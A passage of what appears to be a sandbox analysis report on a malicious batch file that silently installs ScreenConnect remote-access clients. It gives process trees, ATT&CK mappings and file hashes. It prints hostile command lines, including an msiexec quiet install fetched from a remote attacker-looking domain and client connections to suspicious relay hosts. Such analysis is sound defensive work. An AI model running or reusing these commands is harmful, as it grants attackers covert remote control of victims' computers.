    - System Location Discovery: System Language Discovery
    PID:1640

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4780

C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-qbrhhe-relay.screenconnect.com&p=443&s=6935c92e-2d7d-4de3-a961-52119ddae0da&k=BgIAAACkAABSU0ExAAgAAAEAAQA5ARxGABeWFVnH8yD2RT8mrzgHBPqjpdYuQv4TDvCeKrEs1HuafgL%2bK5DNCr45O1%2bdvlb9imhdPa4UVaYnUTH3E1N9HOrlHrJZAA3JlnyX320gP4gKx3%2fhD9gFkr%2frHuoPl4s0znNG6G%2fQofCRKkIVQhFbN1Oew56NiTkNvE3MMKDDzSv24eNnD8RWz9sEGg6%2ft3MzjEOev3O1YHmAr4zUXB1eo9wBuXjWr%2bT6WjVFw8jwSHNJ5v9RwBDsGTOHU6Qv1hOJRv5qac55Sn3oSZsY%2bmQob6l1CRRGtEAiNZFdRd%2bGzFOgStT2QUi67RSNxHbHRNPaVQSb9kkkP%2b%2bSJMPX"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "212e08df-96ed-4fd4-bdf1-e8501eb3fd2a" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5396
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "9cc1907a-232e-491d-95cb-969b655b39e7" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5064
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "b46f8fcc-6719-4b29-adbf-5d48e1022266" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:5688
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "c3cd9292-962c-4fcb-a508-3f998b0980e8" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:5348
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsBackstageShell.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsBackstageShell.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe
    "C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe"
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i http://server.holrean.online/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=BAT&c=&c=&c=&c=&c=&c=&c= /quiet /norestart
      4⤵
      Use of msiexec (install) with remote resource
      PID:5792
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "7edff6bc-8073-4ab0-a968-b291ae22b63b" "User"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of FindShellTrayWindow
  PID:5952
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "77e3090c-b157-41b8-93da-3b5638bfc24d" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:2436
- C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "c0a3b116-c929-4aea-bc42-0cd41c4187b8" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2120

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Q12-2026SETTLEMENT.bat
1⤵
PID:4656

C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.tolreanrust.site&p=8041&s=563e32e9-8b87-40ef-a745-a40dde70f583&k=BgIAAACkAABSU0ExAAgAAAEAAQBFBnwGVXQBYdwQAnsl1IIx2O6679G0goFQUQc3%2bYp52bIUqG8XZwv%2fTQBvgbvZBYC7Mo7Vkfq%2bP2ZF%2fjazJxsh1zczecnTAB2L0XzxnC4N20C8b9fe5irgT2MWvMGIFKner5jfbU6Zz1oBR%2fy6YyrxF0d3jq1%2b%2bOjcjngPAyDTQCqkwbm0zfRA11ZFspTU4aqoxKb8Hmy9oF9T3u6kAiA%2fuZBV%2fRTUkGGkM58sA%2frPiyh%2fCR00iRCqAEhGUsSdOp1yRyxcBlBGz2FBM%2beQR7gytBfkf75rnUlB7Znb%2byUj6DQwmpUeWkZx4hG1KLaY4Ct1Cd8yY6EbLT8vYbgAhfbe&c=BAT&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5308
- C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe" "RunRole" "501821e7-7860-45b7-9e3a-4e90dafb1389" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: SetClipboardViewer
  PID:3544
- C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe" "RunRole" "bc727abe-ec36-413c-b4a4-c155d367acc6" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1756
- C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe" "RunRole" "233ebb24-9239-4b3e-9cd3-483f87555ae9" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:3684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e584c7b.rbs

Path C:\Config.Msi\e584c7b.rbs
Size 214KB
SHA256 adbdf66c86a9891ff3d7d9910113d870a3a8083dee6f947dfd89d2bb2498d558
MD5 30df5d1cf15984878cbe083094864604
SHA1 2171acf378b2fc4bae0062dabb77cf2462df2382
SHA512 77aec914dae920ec863da725b128edc966da754e8f734fbf7b1b0a0bba35fd28ed7309a32522ccb2cfe6b7f00f1d617a55f8482821d52231e17e1b19e46ff092
SSDEEP 3072:r09LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGjL:r0uH2aCGw1ST1wQLdqvH
TLSH
T19D248C227480807EE7F91A36D93E9A717E7DF6240760C99EC3888C1E5D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e584c7f.rbs

Path C:\Config.Msi\e584c7f.rbs
Size 214KB
SHA256 8a748914991c3ceab0c6e479a792a6eeb889b098aeb5e0f01a429cdcfbac2b3c
MD5 96f254c32bea8d2dfbab6f353a0f47f2
SHA1 a61bb2e2d9d9fa88dd3416c03c586db12e84f5a3
SHA512 e08ab2f1cae3eabed8975f0c5228da3b7e6fcd50f74c0531754fc536ccbd22e8076e4300534052421a4a2e673a9534b3cd99b890d35baeb4e9b5962ac5ec21f9
SSDEEP 3072:339LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGk:33uH2aCGw1ST1wQLdqvk
TLSH
T1EB248D227490907EE7FA1A32D93FDA61BE7DF6241760C99E83848C1E5D604C06BF6763
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Client.dll
Size 412KB
SHA256 44d7c87abe55a23318a1627a845a999acc268cc4ece97e2e80849ad869809ee1
MD5 a514dcde8344967c14577f4f3ecc4006
SHA1 db06ff5461e7018e34052d18f6eeb493b43a9a0c
SHA512 836e32e3e1db4e52c67434696a3dffaa3f75aaab268c1199150aeea662ee530a8277ee292ca400b5a820a451cd78931e4fc20c172d8a89df80b0e4c3846d3ce1
SSDEEP 6144:tS59LDc+cH1vpy2Y5sD8ETEavHy+vd7JPYIYyqQni65/PT/y:Mpc22xDHTEavSW7OQniOa
TLSH
T16C94CF8163E85D6EE9AF1F73F0A1A1344E76BC056182F2EE0D0475F41A7B7828B546E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.dll
Size 91KB
SHA256 b607976c1aa7e804d8d53993ddf81ebf4b85117a12d7b4e9ee228e907e1f4025
MD5 11765eb5a94f28f112d16b75735af5de
SHA1 9636aad3ee5d6993b9d9aaaa6385ba1a28965e49
SHA512 a71b38e65c0976d4722114363cfa56ffd11fd455554bd1aefe02afba8140e89cb5fce600c42c96d5c78c44d0f176d73537e34d0b993467b7feee68e2aabc1d03
SSDEEP 1536:fz0NAdGN6i9C4+Cm49qAqGWZa+QOV+eLD0GUazxDa91g0fI7CO:fz2pz9Eyt0QOVFDtUazxDa91gyIb
TLSH
T1A7936E0293BCAD6ACDEF1A34B461F1A006B1B903D8E6E7D86D9820DA2E553D11F543DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 4cfe96e8e6d4cc96bc0f9c7935ab32531deeb0f52a8c39f739da928d6f5d344b
MD5 73ab5c9e7f406d622a8d7be84ac9854e
SHA1 d8be84d7b0223ff0a3f43f3a1e3978d5f7b36c58
SHA512 2dc3497dbfdc1f496d74491359d0368d3bf159eb9a0711b0a8fc8516efa48a7db8fe943f670d41ec7cb538c665e4861b4e48d744db507f08bba10127d8937441
SSDEEP 1536:vg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgkT0HM97jCi:YhbNDxZGXfdHrX7rAc6myJkgkT0HwfCi
TLSH
T1BE935B13B5C28872E473093158E1DAB09A3FF9615E61DEAB3788022E4F741C1AE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Core.dll
Size 577KB
SHA256 5c98fa479fd677e900bd53f15c3969deeb99c109e026f169862a6458a55bddcb
MD5 b376a8512a02582d7d7d9c5b44170655
SHA1 ff49d178fa25d55bedad54df39d0dc1a558904ec
SHA512 442087c15522cc464fb6922137685e0080d791d30adbda3b446b2134b3aaa03e3d68608c4490392c1d04b293bc37ba90bb0b742cb50cfb08728d54d8ffe6f094
SSDEEP 6144:KJv2GNGf5J8vWxUpiWKHSznYN/sbj+ymBbVEBKOS0om8lrArArb2iS/ChwDTax4W:O2Qq/G4PSzm++ymBbV50QlrFrb2iEM7
TLSH
T109C46C597394C677C9DF1779E03092560670E80464ABE3BB3AD4D9EA2C63F8C9E442A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 c1a6e533825b7adb9c2312c1674a5506fd3db460a15443d82c58b5037c68a9f0
MD5 21fed1d120cab002d83b2c655de8ced5
SHA1 615d427280a40e4c2a9a7da20cd11a53a6aa3ece
SHA512 58d7c150e19efa1148f630f9f52de548317fe1c6e3fed00fd5194a7ae596261d211360e3e2b2d83193d4be81dba941542c6b991b2d1ff16bafafdcd8e3e955ab
SSDEEP 24576:w9jf5UNXFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPA:sUNXJkGYYpT0+TFiH7efPd
TLSH
T1C585BD41E2C364F5D46B047888BF972ABA743C040365CAFB97D4AE366D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\system.config
Size 966B
SHA256 cd2e776b6d1d4f21bf1f85b1a80a6f4f2957653c4090b538e914d3258d551a83
MD5 9d7e05e14f03b53a1e0d9352eae24d91
SHA1 c1ed3ba6583e8fbf95ef5a766b7b1af38dfa7105
SHA512 2c5c0877cbd6362c3fe848c4586b09fdc4e9cf4ea7a0e829f4fdd9b46f201d87a6fd6da4fa6c4b554291313ac7465cff75fb74d53c2f279f08d1962c4e88209f
TLSH
T1E211EDA632C06E0B4AB31D27C8128784EE76679F12D05084B59F117BEF315DB0BA39D9
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

rundll32.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
Size 746B
SHA256 ddebb6b1094dbef9e96754a74ebd4761d857864c9bd0b5f20a97259a6d7c8fe0
MD5 768929616b943159a05e24024951fa13
SHA1 56bbd9a00695ab7aa25180fe31dff0c254aa9df3
SHA512 f078e880106f93eb86cf66f77e9425fc3cfb82aaf7c7a354b9d55bb8a6a0d87b4326289f2ab6861dad6122f1fcc560125b813b366f84184ee71ac54078ccbbb5
TLSH
T10F017B703322F5D589032F430C5D6A9507FF0769A664FE1CB96E225ED82A1276B322E3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 ae10af80c983ecdad438965cb208911f945e43bc36fe488247e2cd8bad97b450
MD5 f5ccd04bc3cab603843f2aa41a035cdb
SHA1 a4745772a8bc8f2c6e201e674b2ae558abaeb5f0
SHA512 e655264449a4bb6b25d28102be4b80887fc34a446f6baa3f02657035b3c41c200becbfdfe3947962121baf11f7b7315d8b709736af52453e82162331001d4608
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
TLSH
T121B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 814d47aad78c212b52568b9c7b58d242899d490d3afebce66181cae50c880df5
MD5 8c7cdfea4284ba987d295d82a9c7ddd6
SHA1 7d1a3a66f2d64a383b230196ba89a263ce7ee957
SHA512 59c8229e834c944265aed4131c79f41f9f940a48651b9fb18800cef5bae36d17c7fd5880120c6fee8ce22a157b65bc63846b65765bc4dc86e15926dcce400d0d
SSDEEP 12:sf9iXhV0xoUZxCe+JKlkQuMRxCb8TXuYJ0IJpPK6BsyW1inPiz:U9iRqxoUZxWMk8xVTeYWI31BtXP
TLSH
T105724C85B34498FFC8835E7189BD27903774F6DF1F02866B6A6A760E2E271C84F44224
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1c8e6fcbb66aba64fe595f222fc4117e00e82ccdc0eef2100a1b4f7babb04f87
MD5 398d1e7948d46a763209c466fdacd0fb
SHA1 b26f2c32bc106089a59ce779d792beaba59f92bf
SHA512 a0bbf31d803e7333d004f03de9c261732d00cceb5d82dd64b5f0decf8adc8b840891187c72bb21cce83873e6d4dd2fab89d4c7efa320afe2ef3589678dcb1424
TLSH
T1B6D080277A196004F3964175A483D7061319956129575711F310C44CA9775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5d2c4e39ddbeb0ac61628bae04f1ac5787600ec893b0e230d1a84d61470771a9
MD5 cd6e704306442404371caebfec7f5b29
SHA1 e4beab8b7820af3633bf7c75a5498a958a95832e
SHA512 de66681a9245e8ece7d7e2ea2080251c395f2aeb8a885ac007eaf16f2ee3a3e36610d2afc17be964a038704371cedfbe4da91143ebed5adac20dbda97768d6e6
TLSH
T13AD080273A196404F7964175A483D7061319956129579712F310C44C99775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 93a8b5f69d1c6bed0f21ac1dea8b266e21fb7c224d7a22470da0da0ae423ddc6
MD5 80821bafbc39f6c4035978eb306783e6
SHA1 f7a10b3a769517cfd4277b760a902ebdada515ff
SHA512 d46005dc2a5ad9015909d9955d1c497abb0ba438ad30b30d24601a65623ba995070cc2caeb0bcb781e7a32c695699819bdecd024c3db812f448da01583a1b557
TLSH
T1628150370282A6C0D3A4273990E68224367082EBFF6F5F7D3B9459F12B767254E59DC8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe585ea5.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe585ea5.TMP
Size 3KB
SHA256 e7735d2ae249d9aa53430dfc700f8a8915ca4e63b79076e28b19776faa0dc321
MD5 7ed9ffd5665aede851fba7df91836bef
SHA1 f7ea00e300254fc857ed390e16f7a81d624b3f57
SHA512 7ec4e45ac4f1a82f307cf8b88c905cdcfc3d737dbe1c2d46b8e696d4aa82f1c122f35a91e1d87d0c2078519262f769d3cfaec77454f8c8a0dd76152d28dfaddf
TLSH
T1F48171370282A6C0D3A0273990E29224367082EBFF6F5F7D3B9459F12B767250E19DC8
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 45b94304efb870ed1bb525deb2689f7c99a04b5713c6e61cb07aa03107718b87
MD5 fa357a71f71d597783fc70dfa52f31c5
SHA1 23635f3cc6b8f1c8fbb5433b0346b9bfd0dba1ce
SHA512 f8a3d8ebc5587aa7f6d4716eacc704401b668251c4882652419ff42d382093a0f0629bbbb1e7567c0d4b810c06ffd3394723b2d89bb1b3b277327445fd6a3e60
TLSH
T19641BAF7C7E4866EC90156F4AB14EE2BCE2D091583283C2AC9D4FF5B97E2060E10169F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 3bcaaaff39f6eb765f3bb329e314f7c93528888bbe3c47074fdf23d1acb1bcd9
MD5 31cd2eb43123724644f9f0cd5ef7b962
SHA1 d9f303667ff312d7952dc64d0464e88430e53999
SHA512 4b370908c54e610a9194b29cd9093645543a9e4e3dc55d08c2e0f1759c6b519551d235ae72e1b4458c70c4f75f486efc5ea5c48f8ca0fa6cc5003f2b4f9144cc
SSDEEP 384:sxZ0XflG1vy/fP6sJd0mZswHbDT/yo0dfv9:sk4q/fDdJHbXW9
TLSH
T11052D9126A349977CCDBD20DFA55BF53D6F9447292900D44AAFC8A1C05E6AED2207C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 1536c057f7d0ed2636d389e927dc263aafe83a04915bdc776a8e85f9c8b49900
MD5 a312c7d7f22b61a4e8969d228f4355c6
SHA1 5c9f118db92744c425752fa53288ce3ead00b45d
SHA512 912c0b908a154a9202c3d039e857777a734a44f9627ca9546b16a0c5bec82878f583d6093680fefb1c84296f4726f62a14a8cd7e7912b8f0cfcc4293dacafa8a
SSDEEP 384:sxZ0XflGqv6vy/fP6svvHv0mZ6wHbDT/yexEjfv4r:skfCq/fFPvHbX4c
TLSH
T1C352D9126A3459B7DCDBD20DFA55BF63D6F9447292900E44AAFCCA0C05E7AED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 ef48123bcd35cd93cac25e2085c32237ad478d125674f3a22521b59d4c72cfb5
MD5 a25a542137f32f2f8eb4a77e21581631
SHA1 b3b65b7b0ec86af7b3108e3beb66c2c543c2da18
SHA512 4a33d81b88d2b9d125062384ec7b76f0fe327b113d3c27c594f8095a2facb2f89c5a8420cda3fb362d1216bc6d7763f1bac672f3bfc4c45e077cff57e54fa116
SSDEEP 768:/U8bqn+WvSCt68F1+UoAYDCx9Tuqh0VfUC9xbog/OVnZLlRTKVcrocj:/U8bqn+WvSCt6u1jaCZLbWVHY
TLSH
T158D20A3B280CCB7E4F845E5DED26AF962DD801CB6B988D4447FA884C03C72EA511B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 11d3428e8ca1ae485d2f5fc60b34ba19cc764e9256ceedf1244a3c41860684a8
MD5 f3a0efa291b48fdd27202ce500466227
SHA1 62d5292e064002d99f1e253e53e2e9c5dcf57351
